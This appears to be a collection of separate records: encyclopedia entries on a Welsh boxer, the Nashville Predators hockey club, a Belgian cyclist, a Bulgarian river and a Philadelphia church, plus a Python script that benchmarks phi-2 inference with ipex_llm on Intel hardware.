On 8 August 2020 Thorley challenged Chris Billam Smith for the British cruiserweight title.
References
External links
1993 births
Living people
Commonwealth Games bronze medallists for Wales
Boxers at the 2014 Commonwealth Games
Welsh male boxers
Commonwealth Games medallists in boxing
Boxers from Cardiff
Light-heavyweight boxers
Medallists at the 2014 Commonwealth Games |
```python
#
#
#
# path_to_url
#
# Unless required by applicable law or agreed to in writing, software
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
import torch
import time
import argparse
import numpy as np
from ipex_llm.transformers import AutoModel,AutoModelForCausalLM
from transformers import AutoTokenizer, GenerationConfig
# you could tune the prompt based on your own model,
# here the prompt tuning refers to path_to_url
PHI2_PROMPT_FORMAT = " Question:{prompt}\n\n Answer:"
generation_config = GenerationConfig(use_cache = True)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Predict Tokens using `generate()` API for phi-2 model')
parser.add_argument('--repo-id-or-model-path', type=str, default="microsoft/phi-2",
help='The huggingface repo id for the phi-2 model to be downloaded'
', or the path to the huggingface checkpoint folder')
parser.add_argument('--prompt', type=str, default="What is AI?",
help='Prompt to infer')
parser.add_argument('--n-predict', type=int, default=32,
help='Max tokens to predict')
args = parser.parse_args()
model_path = args.repo_id_or_model_path
# Load model in 4 bit,
# which convert the relevant layers in the model into INT4 format
# When running LLMs on Intel iGPUs for Windows users, we recommend setting `cpu_embedding=True` in the from_pretrained function.
# This will allow the memory-intensive embedding layer to utilize the CPU instead of iGPU.
model = AutoModelForCausalLM.from_pretrained(model_path,
load_in_4bit=True,
trust_remote_code=True)
model = model.to('xpu')
# Load tokenizer
tokenizer = AutoTokenizer.from_pretrained(model_path,
trust_remote_code=True)
# Generate predicted tokens
with torch.inference_mode():
prompt = PHI2_PROMPT_FORMAT.format(prompt=args.prompt)
input_ids = tokenizer.encode(prompt, return_tensors="pt").to('xpu')
model.generation_config.pad_token_id = model.generation_config.eos_token_id
# ipex_llm model needs a warmup, then inference time can be accurate
output = model.generate(input_ids,
max_new_tokens=args.n_predict,
generation_config = generation_config)
# start inference
st = time.time()
# if your selected model is capable of utilizing previous key/value attentions
# to enhance decoding speed, but has `"use_cache": false` in its model config,
# it is important to set `use_cache=True` explicitly in the `generate` function
# to obtain optimal performance with IPEX-LLM INT4 optimizations
# Note that phi-2 uses GenerationConfig to enable 'use_cache'
output = model.generate(input_ids, do_sample=False, max_new_tokens=args.n_predict, generation_config = generation_config)
torch.xpu.synchronize()
end = time.time()
output = output.cpu()
output_str = tokenizer.decode(output[0], skip_special_tokens=True)
print(f'Inference time: {end-st} s')
print('-'*20, 'Prompt', '-'*20)
print(prompt)
print('-'*20, 'Output', '-'*20)
print(output_str)
``` |
The Nashville Predators (commonly referred to as the Preds) are a professional ice hockey team based in Nashville, Tennessee. The Predators compete in the National Hockey League (NHL) as a member of the Central Division in the Western Conference, and have played their home games at Bridgestone Arena since 1998. Their television broadcasting rights are held by Bally Sports South, and the Nashville Predators Radio Network flagship station is WPRT-FM. The Predators are currently affiliated with two minor league teams: the Milwaukee Admirals of the American Hockey League (AHL), and the Atlanta Gladiators of the ECHL.
The club was founded in 1997, when the NHL granted an expansion franchise to Craig Leipold, with the team beginning play in the 1998–99 season. After five seasons, the Predators qualified for their first Stanley Cup playoffs during the 2003–04 season. In 2008, ownership of the team was transferred from Leipold to a locally based ownership group. The Predators advanced to their first Stanley Cup Finals in 2017, but were defeated by the Pittsburgh Penguins in six games. In the following season, the Predators won their first Presidents' Trophy and Central Division title.
History
Bringing the NHL to Nashville
In late 1995, rumors began to circulate that the New Jersey Devils would relocate to the planned Nashville Arena after they successfully won their first-ever Stanley Cup championship. Nashville offered a $20 million relocation bonus to any team that would relocate, and the Devils attempted to terminate their lease with the NJSEA before ultimately restructuring it to stay in New Jersey.
After the failed attempt to land the Devils, NHL Commissioner Gary Bettman stated Nashville would probably be considered in upcoming expansion. The arena was opened in 1996, and after an attempt to bring the National Basketball Association's Sacramento Kings did not materialize, the city instead went after a hockey team.
In January 1997, a group led by Wisconsin businessman Craig Leipold made a formal presentation before the NHL requesting an expansion franchise. When Bettman and league officials visited Nashville to tour the arena, thousands gathered on the arena plaza to greet them. In June, the league granted conditional franchises to Nashville, Columbus, Ohio; Atlanta, and Minneapolis–Saint Paul.
The Nashville team would begin play in 1998 if they met the NHL requirement of selling 12,000 season tickets before March 31, 1998. Of the four cities, Nashville was the only one with a completed arena and therefore began play first. On July 9, 1997, Leipold named former Washington Capitals general manager David Poile as the franchise's first general manager. Portland Pirates' head coach Barry Trotz was named the franchise's first head coach on August 6.
On September 25, 1997, Leipold and team president Jack Diller held a press conference where they unveiled the franchise's new logo, a saber-toothed cat (Smilodon fatalis). The logo was a reference to a partial Smilodon skeleton found beneath downtown Nashville in 1971 during construction of the First American National Bank building, now the UBS Tower.
Once the logo was unveiled, the franchise held a vote among fans to choose a name. Three candidates were culled from 75: "Ice Tigers," "Fury" and "Attack." Leipold added his own submission to the vote, "Predators." On November 13, Leipold revealed at a press conference that his submission had won out and the new franchise would be known as the "Nashville Predators."
When awarded a franchise, the city of Nashville paid 31.50% of the $80 million fee to join the league. The city has engaged an affiliate of the team to operate the arena, and that agreement protects the city against annual arena operating losses over approximately $3.8 million. The $15 million payroll of the team was the lowest of the NHL.
Early years (1998–2005)
The Predators began play during the 1998–99 season, taking to the ice for the first time on October 10, 1998, where they lost 1–0 at home to the Florida Panthers. It was the only sold-out game of the Predators' first five bouts in Nashville. Three nights later, on October 13, they defeated the Carolina Hurricanes 3–2 for their first win. Forward Andrew Brunette scored the first goal. The Predators, in their first year of existence, finished second-to-last in the Western Conference with a 28–47–7 record. In the 1999–2000 season, the Predators finished with a similar record to the previous season, and finished last in the Western Conference behind the Calgary Flames. However, during a game versus the New York Islanders on February 20, 2000, the Predators scored four goals in 3 minutes and 38 seconds.
To begin the 2000–01 season, the Predators played two games at the Saitama Super Arena in Tokyo, Japan against the Pittsburgh Penguins. Each team won a game in front of the largest crowds ever to see a hockey game in Japan (13,849 for the first game and 13,426 for the second game). This included around 100 fans who made the trip from Tennessee. Backed by the goaltending duo of Mike Dunham and Tomas Vokoun, Nashville finished the season in tenth place in the Western Conference, ten points out of a playoff spot with a total of 80 total points. During the 2001–02 season, the Predators recorded their 100th victory on December 6, 2001. With that win, Nashville became the second-fastest expansion team of the 1990s to reach the 100-win plateau. In the 2002–03 season, head coach Barry Trotz broke the record for most games coached by the original coach of an expansion team (392 games).
In June 2003, the Predators hosted the NHL Entry Draft. Future Predators captain Shea Weber was selected by the team with the 49th overall pick.
The club failed to qualify for the Stanley Cup playoffs for their first five years as a franchise. However, in the 2003–04 season, the Predators finished eighth in the Western Conference, qualifying for their first postseason berth. The Predators were eliminated by the Detroit Red Wings in six games in the first round of the 2004 Stanley Cup playoffs. The following 2004–05 season was wiped out by a labor dispute between NHL owners and players.
After the lockout (2005–2014)
The Predators made their biggest free agent signing to that point in August 2005, when they signed Paul Kariya to a two-year, $9 million contract.
In the 2005–06 season, the Predators set an NHL record by winning their first four games by one goal each (although two of those were shootout victories, which would have been tie games in previous seasons). They also became only the fourth NHL franchise to start the season 8–0; the last time a team did so was the Toronto Maple Leafs, who set the mark with a 10–0 start in the 1993–94 season. The Predators set the franchise mark for wins in a season with a 2–0 shutout of the Phoenix Coyotes on March 16, 2006. In that match, Chris Mason became the ninth goaltender to score a goal. By the end of the season, the Predators had accumulated 106 points—their first 100-point season—and clinched home-ice advantage in the first round of the playoffs for the first time in team history. They finished the season with an NHL-best 32–8–1 record at home. However, the Predators would be eliminated by the San Jose Sharks in five games in the first round of the 2006 playoffs.
During the off-season, the Predators acquired veteran center Jason Arnott from free agency on July 2, 2006. In the following season, Arnott and David Legwand led the team in goals with 27 each. Late in the season, the Predators traded two former first-round draft picks, Scottie Upshall and Ryan Parent, plus their first and third-round pick in the 2007 NHL Entry Draft, to the Philadelphia Flyers for five-time NHL All-Star Peter Forsberg. The Predators finished the season ranked fourth in the Western Conference with a franchise-record 110 points, finishing third overall behind the Buffalo Sabres and the Red Wings. They were defeated by the Sharks in the first round of the 2007 playoffs for the second year in a row, losing the series 4–1.
The roster saw a depletion in talent during the off-season. With multiple potential buyers and rumors of the franchise moving hounding the team until almost mid-season, the Predators were not expected to be successful during the 2007–08 season. Chris Mason, former backup goaltender to Tomas Vokoun (who was traded to the Florida Panthers) had a shaky season and shared net-minding duties with Dan Ellis. Ellis, who was signed from the Dallas Stars before the season began, had a 233:39 long shutout streak (fifth longest in league history) nearing the end of the season that helped Nashville attain the eighth playoff spot with 91 points. The Predators met the Presidents' Trophy-winning (and eventual Stanley Cup winners) Red Wings in the first round of the playoffs and were defeated 4–2, their fourth-straight first-round knockout.
New ownership group
The first off-season of settling in under new ownership was a quiet one for the Predators with little personnel movement. As such, the Predators began the 2008–09 season with little expectation. Following a strong push after the All-Star break and no movement at the trade deadline, the team found themselves still battling for a playoff spot into the last week of the season. Buoyed by the return of Steve Sullivan after almost two seasons recovering from a back injury, the Predators finished with 88 points, settling for tenth place in the Western Conference, missing the playoffs for the first time in five seasons.
The Predators made few major additions to their roster in the 2009 off-season, signing former San Jose Sharks forward Marcel Goc (who was extended for another year by the club in mid-season) and former Montreal Canadiens defenseman Francis Bouillon. The 2009–10 season also saw the much-anticipated debut of top prospect Colin Wilson. However, due to a groin injury suffered in training camp, Wilson spent the first week-and-a-half of the season on the sidelines, and was sent to the Milwaukee Admirals of the American Hockey League (AHL) in November. He returned to the club in February and scored 11 points in his next 15 games and finished the season with 15 points in 35 games. 2010 also saw a breakout year for the last pick in the 2005 Draft, Patric Hornqvist, as the 23-year-old Swede scored 30 in the 2009–10 season, becoming the fourth Predator to do so (the others being Steve Sullivan, Paul Kariya and Jason Arnott). The Predators qualified for the 2010 playoffs, facing the Chicago Blackhawks in the first round. The Predators earned their first postseason road win on April 16, 2010, when they beat the Blackhawks 4–1 at the United Center, although they lost the overall series in six games.
On July 9, 2010, the Predators announced defenseman Shea Weber would become the club's fifth captain. In the following years' playoffs, the Predators advanced to the second round of the playoffs for the first time in franchise history. They defeated the Anaheim Ducks in the first round, winning the fourth game of the series at Bridgestone Arena on April 24, 2011. Two days prior, Predators' goaltender Pekka Rinne was nominated as a Vezina Trophy finalist for his performance during the 2010–11 season. The Predators played against the number-one ranked team in the NHL in the second round, the Vancouver Canucks. The Predators lost the series 4–2.
On June 22, 2011, the Predators unveiled their modified logo set for the 2011–12 season. With the color scheme simplified to blue, gold, and white and eliminating orange, silver, and steel, the Predators cleaned up their primary logo and wordmark. A new alternate logo incorporating elements from a guitar pick and the Tennessee state flag was also introduced. Home jerseys changed from blue to gold.
In the beginning of the 2011–12 season, on November 3, 2011, the Predators signed goaltender Pekka Rinne to a seven-year, $49 million deal. It was the largest contract awarded in Predators' history, as well as making Rinne the highest-paid goaltender in the NHL that year. On February 27, 2012, during the NHL's trade deadline, the Predators acquired Andrei Kostitsyn and Paul Gaustad from the Montreal Canadiens and the Buffalo Sabres, respectively. The Predators surrendered draft picks to bolster their team for the 2012 playoffs. The season also saw the return of Russian forward Alexander Radulov to the Predators after a four-year hiatus to play in the Kontinental Hockey League (KHL). For the second year in a row, and the second time in the team's history, the Predators won a first-round series in the Stanley Cup playoffs, defeating the Red Wings in a best-of-seven series 4–1. However, for the second year in a row, the Predators were ousted in the Western Conference second round, this time to the Phoenix Coyotes.
The following 2012–13 season was shortened to 48 games as a result of the 2012–13 NHL lockout. The Predators failed to qualify for the playoffs in the shortened season, the first time they failed to do so since the 2008–09 season. After the season, the Predators signed Weber through a front-loaded $110 million, 14-year offer sheet, $68 million of it as a signing bonus, from the Philadelphia Flyers on July 19. The offer sheet was the richest in NHL history in terms of total money, money per season, and length, surpassing the previous offer sheet record set by Thomas Vanek.
The following season saw the departure of center David Legwand, the first player ever drafted by the Predators, the club's all-time leading scorer, and was co-leading scorer for the season at the time. Agreeing to waive his "no-trade clause", he was traded on March 5, 2014, to his hometown team, the Detroit Red Wings, in exchange for prospect forward Calle Jarnkrok, forward Patrick Eaves and a third-round pick in the upcoming 2014 NHL Entry Draft. After missing the playoffs for the second season in a row, the Predators opted not to renew the contract of Barry Trotz as their head coach after 15 years, although he was offered an unnamed position within the organization. On May 6, 2014, the Predators announced Peter Laviolette as their new head coach.
Peter Laviolette era (2014–2020)
In Peter Laviolette's first season as the Predators' head coach, the Predators finished second in the Central Division. Despite having home advantage in the first round of the 2015 playoffs, they lost the first round in six games to the Chicago Blackhawks, who went on to win the Stanley Cup. For the following 2015–16 season, the Predators name Sean Henry CEO and then finished as the Western Conference's first wild-card, earning 96 points. When they advanced to the second round after beating the Anaheim Ducks in Game 7, it was the franchise's first seven-game series and seven-game series win. They were eliminated in seven games by the San Jose Sharks, who went on to win the conference.
The Predators hosted the 2016 National Hockey League All-Star Game at Bridgestone Arena.
In the 2016 off-season, on June 29, 2016, the Predators traded Weber to the Montreal Canadiens in exchange for defenseman P. K. Subban. The trade surprised many hockey fans because the details to this trade were kept strictly confidential until the deal was already made. On September 7, 2016, the Predators announced Mike Fisher would replace Weber as the sixth captain of the club.
First Stanley Cup Finals appearance
In the 2016–17 season, the Predators finished fourth in the Central Division with 94 points, which earned them the second wild-card spot in the Western Conference. The 2016–17 season marked the first time the Predators sold out all 41 regular season home games. Their eighth-place finish in the conference gave them a first-round Stanley Cup playoff matchup against the Chicago Blackhawks, who finished first in the conference during the regular season.
The Predators swept the Blackhawks in four games. This was the first time an eighth seed swept a playoff series against the top seed in the conference in NHL history as well as the first time that there had been a sweep by an eighth seed against a top seed in a best-of-seven playoff series in the history of North American major league professional sports. In the second round of the Stanley Cup playoffs, the Predators defeated the St. Louis Blues in six games, marking the first time the team advanced to the Western Conference Finals. On May 16, the Predators became the first team in 20 years (since the Detroit Red Wings in 1997) to achieve ten-straight wins at home in the postseason. On May 22, 2017, the Predators defeated the Anaheim Ducks 6–3 and won the series four games to two, winning the Western Conference, and advancing to the club's first Stanley Cup Finals. In the 2017 Stanley Cup Finals, the Predators went down 2–0 against the Penguins before battling back and leveling the series at two, winning games 3 and 4 at home. Returning to Pittsburgh, the Predators lost 6–0 before being eliminated at home 2–0 in game 6.
On April 5, 2018, the Predators clinched their first division title in team history while also claiming their first Presidents' Trophy. They defeated the Colorado Avalanche in the first round of the playoffs in six games, and then lost to the Winnipeg Jets in seven games in the second round. The next season saw the Predators clinch their second consecutive division title, but lost to the Dallas Stars in the First Round of the 2019 playoffs.
The Predators played in their first outdoor game at the 2020 NHL Winter Classic, facing the Dallas Stars at the Cotton Bowl.
The Predators fired head coach Laviolette on January 6, 2020, with the team sitting at sixth place in the division at the time and a record of 19–15–7.
John Hynes era (2020–2023)
On January 7, 2020, John Hynes was hired as the third head coach in the Predators' franchise history. In Hynes' first game as coach, Pekka Rinne became the second Predators goaltender to score a goal in a 5–2 win over the Chicago Blackhawks. The team's season would come to an abrupt end two months later when the league suspended operations due to the COVID-19 pandemic. The Predators advanced to the 2020 playoffs, but were defeated by the Arizona Coyotes in the qualifying round. The Predators returned to the playoffs in 2021, but were defeated by the Carolina Hurricanes in the First Round.
The Predators hosted the Tampa Bay Lightning at Nissan Stadium in their second outdoor game, the 2022 NHL Stadium Series, on February 26, 2022, losing 3–2 in front of a crowd of 68,619. They clinched the 2022 playoffs, but were swept by the eventual Stanley Cup champion Colorado Avalanche in the First Round.
In February 2023, David Poile announced that he would retire as general manager of the team at the end of the season, and that former head coach Barry Trotz would succeed him, effective June 30, 2023.
Andrew Brunette era (2023–present)
On May 31, 2023, Trotz announced that the team had hired former player Andrew Brunette as the fourth head coach in franchise history.
Team information
Facilities
The Nashville Predators have played their home games at Bridgestone Arena since their inaugural season in 1998. Opened in 1996, Bridgestone Arena is a multi-purpose venue in downtown Nashville.
Fan traditions
Fans of the Nashville Predators have modified the octopus-throwing tradition of Detroit Red Wings fans to show their support: on occasion, a fan will throw a catfish onto the ice. The Tennessean newspaper of Nashville cites the first instance of this as being on October 30, 2003. On May 16, 2017, during Game 3 of the Western Conference Final at Bridgestone Arena, country music singer, songwriter, and record producer Keith Urban, who had performed the National Anthem prior to the game, was seen on the Jumbotron hoisting a massive catfish that Tennessee Titans left tackle, Taylor Lewan had with him at the game. Lewan, along with fellow Titans offensive linemen Jack Conklin, Quinton Spain, Ben Jones, and Josh Klein, and Titans quarterback Marcus Mariota, served as the hype men prior to the game, another Predators playoff tradition prior to home games, which included them waving gold Predators towels, Mariota encouraging the crowd to get louder, Lewan hoisting the catfish, and the offensive linemen chugging beer.
Section 303 is where a section of fans at the Bridgestone Arena sit, stand, and cheer, colloquially known as The Cellblock. The group refers to themselves as "the loudest section of the loudest arena in the NHL." The fan-based organization has been recognized by the Predators' front office. A large banner was produced by the front office for posting on the wall behind the section.
On April 3, 2008, with the Predators clinging to a 3–2 lead with 4:30 in their final home game of the regular season, a sellout crowd at what was then known as the Sommet Center, gave the team a standing ovation through the entirety of the final TV timeout. The Predators went on to win the game against the St. Louis Blues and advanced to the playoffs that year, where the "standing O" during the final TV timeout has since become a fan tradition.
The mascot of the Predators is Gnash, a blue saber-toothed cat. Introduced in 1998, Gnash's trademark includes stunts, such as very fast rappels, zip lines, and a pendulum swing that takes him under the scoreboard and just inches off the ice. To go along with the saber-toothed cat mascot, Predators fans proudly use their Fang Fingers during each power play of the game. There are foam saber-fang gloves that can be purchased, but most fans simply curl their index and middle fingers on each hand into fang shapes and brandish them in an up-and-down motion. Fang Fingers are done to the horror sounds from the Alfred Hitchcock movie, Psycho.
Fans are also known for a variety of chants taunting players of the opposing team, particularly the goalie. For example, after each Predators goal, fans call the opposing goalie's name, accompanied by shouts of "It's all your fault" and other epithets. These cheers are sometimes said to originate from tradition at college football games, but some of these derive from traditions held by fans of Nashville's former pre-NHL hockey teams Nashville Dixie Flyers, Nashville South Stars, Nashville Knights, and Nashville Nighthawks/Nashville Ice Flyers. Nashville's fanbase is said by many to be among the loudest in the National Hockey League, with sound levels reaching over 120 dB during the playoffs. This has contributed to the team also being called "Smashville".
Jersey and logo
The original Predators uniforms were worn from 1998 to 2007 and both featured a silver yoke on the shoulder. Navy and white were the base uniform colors while gold was used only as an accent color. The white uniforms featured the primary Predators logo outside a navy triangle while the navy uniforms use the same logo minus the triangle. From 1998 to 2004 the secondary logo featuring the Gaylord Entertainment Center (now Bridgestone Arena) tower adorned the shoulders.
From 2001 to 2007 the Predators wore mustard gold third jerseys featuring the front-facing saber-toothed cat logo. These jerseys are known by the nickname "Mustard Cats." The logo then replaced the tower alternate logo on the shoulders of their primary uniforms in 2005.
Switching to Reebok's Edge template in 2007, the Predators made minor tweaks to their uniforms. Most notably, the white uniforms no longer featured a contrasting nameplate color, while the city name was added above the Predators logo.
From 2009 to 2011, the Predators wore navy third jerseys but with black replacing gold as trim color. A roundel logo featuring the fossilized cat adorned the shoulders while a checkerboard pattern of black and navy squares adorned the sleeves, tail stripes and socks.
For the 2011–12 season, the Nashville Predators changed their jersey design and color scheme. The home jerseys are a bright gold with navy and white highlights, while the away jerseys are white with gold and navy highlights. Furthermore, the Predators changed their logo, making it purely white, gold and navy. The jerseys have a guitar pick on the shoulder with the Tennessee state tri-star inside it, lines reminiscent of guitar strings on the numbers, and piano keys along the neckline inside the jersey as a nod to Nashville's internationally known music heritage. From the 2016–17 season gold helmets became a permanent part of the home uniform, after they first used them on Saturday home games the prior season.
In the 2017–18 season the Predators changed their uniform style to fit with the new Adidas template. While the gold home uniforms received minimal alterations, the away white uniforms featured more gold accents in the sleeves, shoulders and tail while navy was relegated to trim color.
The Predators unveiled a special edition uniform for the 2020 NHL Winter Classic, featuring a design inspired from the uniforms of the defunct EHL team Nashville Dixie Flyers. Heavy gold stripes with navy trim adorn the chest and sleeves while a script rendition of the team name was inserted to the gold chest stripe. A navy felt-rendered saber-toothed cat logo was also added on the left shoulder.
In the 2020–21 season, the Predators released a special "Reverse Retro" alternate uniform, using the design they wore from 1998 to 2007. However, gold was used as the base color while navy was relegated to trim color.
For the 2022 NHL Stadium Series, the Predators released a navy uniform with a thick gold stripe in front. The "Smashville" moniker in large navy letters along with the navy "guitar pick" alternate logo was emblazoned inside the gold stripe. Numbers were enlarged for visibility purposes.
A second "Reverse Retro" uniform was released in the 2022–23 season, using the 2001 to 2007 alternate uniform but with the current athletic gold in place of mustard gold.
Mascot
The mascot of the team is an anthropomorphic saber-toothed tiger named Gnash.
Ownership
The franchise was initially owned by a group led by Craig Leipold. On May 23, 2007, Leipold was reported to have reached a tentative agreement to sell the team to Research in Motion chairman and co-CEO Jim Balsillie. At the time, Leipold indicated that the team would play the 2007–08 season in Nashville but that the future of the team after that was not clear.
On June 23, information leaked by several sources indicated that Leipold no longer wanted to sell the Predators to Balsillie. Subsequently, a campaign to land the team in Kansas City, Missouri, received a boost in late June 2007. The Canadian National Post, citing anonymous sources, reported that Leipold planned to sell the team to San Jose venture capitalist William "Boots" Del Biaggio III, who wanted to relocate the club to Kansas City's new Sprint Center for the 2008–09 season. Del Biaggio, who had a contract with Anschutz Entertainment Group to own an NHL club that would play home games in Sprint Center, had made an offer reported to be for about $190 million for the Predators. Del Biaggio had entered an agreement two years earlier, in 2005, to purchase the Pittsburgh Penguins, but the club backed out of the deal after it won that year's NHL draft lottery and took Sidney Crosby with the first overall pick.
On July 19, 2007, a group of local business owners known as Our Team Nashville held a rally at the Sommet Center to encourage fans to buy season tickets in order to help the Predators meet the attendance figures needed to keep the team in Nashville. They drew approximately 7,500 fans and sold the equivalent of 726 full-season tickets during the rally. The rally was heavily supported by George Plaster, then a sportscaster on WGFX 104.5 "The Zone" sports radio in Nashville. On August 1, 2007, the group released a letter of intent from Craig Leipold. After negotiations with the City of Nashville, the local group headed by David Freeman reached an agreement with Nashville Mayor Karl Dean, and the NHL Board of Governors approved the sale on November 29, 2007. The $172 million acquisition of the Nashville Predators included repayment of existing debt of approximately $61 million and $2.2 million in fees and expenses. The sale of the Predators to the Tennessee-based group included Del Biaggio, who had been trying to move the team to Kansas City. The locally based buyers held 73% of the team, while Del Biaggio and a minority partner acquired about 27% of the club.
In June 2008, Del Biaggio ran into legal trouble over a multitude of unpaid loans, culminating in his filing for Chapter 11 bankruptcy. Furthermore, it was alleged that Del Biaggio acquired the loans he used to buy his stake in the team through fraudulent means, prompting an FBI investigation and criminal charges. The charges culminated in a 97-month prison sentence for Del Biaggio. Under United States bankruptcy law, a trustee was appointed to sell Del Biaggio's assets, including his stake in the Predators, to pay off his creditors. In November 2011, it was announced that Calgary businessman W. Brett Wilson had purchased a 5% interest in the Nashville Predators.
On March 1, 2010, during the 2009–10 season, the Predators front office saw Freeman step down as chairman of the Nashville Predators in favor of Thomas Cigarran. On September 2, Cigarran announced that the local ownership group had completed the purchase of the Del Biaggio stake.
Ownership dispute
On June 23, 2016, Freeman filed a $250 million lawsuit against the Nashville Predators and Cigarran. His claim was that his ownership stake has been improperly diluted by Cigarran failing to notify him of capital calls, and that he had not received loan guaranty fees that the ownership group had agreed to pay him. The lawsuit stated that Freeman initially owned a 48% share, while the holding company for the Nashville Predators stated that Freeman controlled less than 1% of ownership in the team at the time of the suit. This dilution was exacerbated by the existence of two classes of investments in the Predators: the common units owned by Freeman were subject to capital calls; the Series A units originally owned by Del Biaggio and his minority partner were not subject to capital calls.
The dispute was sent to court-ordered arbitration on July 29, 2016, under the supervision of NHL commissioner Gary Bettman. As of January 25, 2018, arbitration was continuing in the unresolved dispute. The outcome may remain undisclosed, as the arbitration is private.
Bill Haslam purchases majority stake
On June 17, 2022, the Predators announced that former Governor of Tennessee Bill Haslam would purchase shares in the club and become majority owner over the course of several years. Haslam’s brother, Jimmy Haslam, is the owner of the Cleveland Browns and the Columbus Crew.
Season-by-season record
This is a partial list of the last five seasons completed by the Predators. For the full season-by-season history, see List of Nashville Predators seasons.
GP = Games played, W = Wins, L = Losses, T = Ties, OTL = Overtime Losses, Pts = Points, GF = Goals for, GA = Goals against
Players
Predators players have been active in the community with several different initiatives. These include efforts with the Make a Wish Foundation, 365 Pediatric Cancer Fund, and local youth hockey programs. Former player P.K. Subban is also known for starting the Blue Line Buddies program to help build relations between law enforcement and community members.
Current roster
Team captains
Tom Fitzgerald, 1998–2002
Greg Johnson, 2002–2006
Kimmo Timonen, 2006–2007
Jason Arnott, 2007–2010
Shea Weber, 2010–2016
Mike Fisher, 2016–2017
Roman Josi, 2017–present
First-round draft picks
Retired numbers
The NHL retired Wayne Gretzky's No. 99 for all its member teams at the 2000 NHL All-Star Game.
Hall of Famers
Peter Forsberg, C, 2007
Paul Kariya, LW, 2005–2007
Franchise records
Scoring leaders
These are the top-ten point-scorers, goal scorers, and assist leaders in franchise regular season history. Figures are updated after each completed NHL regular season.
– current Predators player
Note: Pos = Position; GP = Games played; G = Goals; A = Assists; Pts = Points; P/G = Points per game
Individual records
Most games played: David Legwand, 956
Most games played, goaltender: Pekka Rinne, 630
Most goals in a season: Matt Duchene, 43 (2021–22)
Most assists in a season: Roman Josi, 73 (2021–22)
Most points in a season: Roman Josi, 96 (2021–22)
Most penalty minutes in a season: Patrick Cote, 242 (1998–99)
Most goals in a season, defenseman: Roman Josi, 23 (2021–22) and Shea Weber, 23 (2008–09 and 2013–14)
Most points in a season, defenseman: Roman Josi, 96 (2021–22)
Most goals in a season, rookie: Filip Forsberg, 26 (2014–15)
Most points in a season, rookie: Filip Forsberg, 63 (2014–15)
Most wins in a season: Pekka Rinne, 43 (2011–12)
Most shutouts in a season: Pekka Rinne, 8 (2017–18)
Awards and trophies
League awards
Clarence S. Campbell Bowl
2016–17
Presidents' Trophy
2017–18
Lester Patrick Trophy
David Poile: 2000–01
Bill Masterton Memorial Trophy
Steve Sullivan: 2008–09
NHL Foundation Player Award
Mike Fisher: 2011–12
Mark Messier Leadership Award
Shea Weber: 2015–16
Wayne Simmonds: 2018–19
King Clancy Memorial Trophy
Pekka Rinne: 2020–21
Vezina Trophy
Pekka Rinne: 2017–18
James Norris Memorial Trophy
Roman Josi: 2019–20
All-Star honors
NHL first All-Star team
Shea Weber: 2010–11, 2011–12
Pekka Rinne: 2017–18
Roman Josi: 2019–20, 2021–22
NHL second All-Star team
Pekka Rinne: 2010–11
Shea Weber: 2013–14, 2014–15
P. K. Subban: 2017–18
NHL All-Rookie Team
Filip Forsberg: 2014–15
Juuse Saros: 2017–18
Alexandre Carrier: 2021–22
NHL All-Star Game selections
Sergei Krivokrasov: 1998–99
Kimmo Timonen: 1999–2000, 2003–04, 2006–07
Tomas Vokoun: 2003–04
Jason Arnott: 2007–08
Shea Weber: 2008–09, 2010–11, 2011–12, 2014–15, 2015–16
Ryan Suter: 2011–12
Pekka Rinne: 2014–15, 2015–16, 2017–18, 2018-19
Filip Forsberg: 2014–15
Roman Josi: 2015–16, 2018-19, 2019–20, 2021–22
James Neal: 2015–16
P. K. Subban: 2016–17, 2017–18
Juuse Saros: 2021–22, 2022–23
See also
List of Nashville Predators broadcasters
List of Nashville Predators general managers
List of Nashville Predators head coaches
Nashville Predators Radio Network
References
External links
National Hockey League teams
1998 establishments in Tennessee
Central Division (NHL)
Ice hockey clubs established in 1998
Ice hockey teams in Tennessee
National Hockey League in the Sun Belt
Sports in Nashville, Tennessee |
Lieven Malfait (born 18 June 1952) is a Belgian racing cyclist. He rode in the 1979 Tour de France.
References
1952 births
Living people
Belgian male cyclists
Place of birth missing (living people) |
The Disilitsa (), also known as Dobrinishtka reka, is a river in south-western Bulgaria, a right tributary of the Mesta. The river is 21 km long and drains parts of the northeastern slopes of the Pirin mountain range.
The Disilitsa takes its source from the Disilitsa glacial lake, at an altitude of 2,367 m in the Polezhan cirque. In 10 km, at an altitude of 1,148 m it takes its main tributary, the Pleshka reka. Both rivers flow in north–northeastern direction in deep forested valleys, which merge after their confluence. The river flows though the eastern part of the town of Dobrinishte in the Razlog Valley, and continues to flow eastwards in a deep valley for another 5 km. It flows into the Mesta at an altitude of 705 m.
Its drainage basin covers a territory of 57 km2 or 1.65% of Mesta's total.
The only settlement along the river is Dobrinishte in Bansko Municipality, Blagoevgrad Province. A 4.4 km stretch of the second class II-19 road Simitli–Gotse Delchev–Ilinden at the border with Greece follows the Disilitsa's lower course. A small part of the river's water resources are utilised for irrigation.
Citations
References
Rivers of Bulgaria
Landforms of Blagoevgrad Province
Pirin |
The Church of the Messiah, Richmond, was an Episcopal congregation in the Port Richmond neighborhood of Philadelphia, Pennsylvania. Founded in 1846, it merged with St. Matthew's Mission, Oxford Circle, 1929 to form Church of the Messiah, Oxford Circle. Its 1848 Gothic Revival building, designed by architect John Notman and located at 2640-2658 East Huntington Street, was demolished in 2016.
History
The Church of the Messiah was organized on October 27, 1846 at the suggestion of Rev. John Gordon Maxwell, a former rector of Emmanuel Church, Holmesburg. Rev. Maxwell had observed the lack of an Episcopal presence in the Richmond District of Philadelphia County. The parish was incorporated in 1847 and admitted to the convention of the Diocese of Pennsylvania on May 20, 1847. While awaiting the completion of its first house of worship, the congregation worshipped in a carpenter’s shop owned by J. C. Richardson located at the northwest corner of York and Salmon Streets. The cornerstone of the congregation’s building was laid June 28, 1847 at East Huntingdon and Thompson Streets. The property was donated by Dr. Benjamin S. and Mrs. Lynda O. Janney on April 14, 1847. The building, designed by architect John Notman, was consecrated on Easter Monday in 1848. The following day, the Gothic Revival style building was described in the Episcopal Recorder as an "early English order of Gothic architecture, which prevailed at the commencement of the 13th century; a style which well unites the elegant simplicity with economy… The church itself seats 605 persons, and can be made to accommodate more with ease; it is 60 feet high to the cap of the belfry, and the interior is 90 feet long along the chancel and nave and 64 feet along the transepts." The article identifies John Notman as the architect and Hiram Miller as the builder, and Notman’s brother-in-law, John Gibson, is identified as the stained glass artisan. The building was erected at a total cost of $6,200 or $5,800 (not including the bell, furnace, and furnishings).
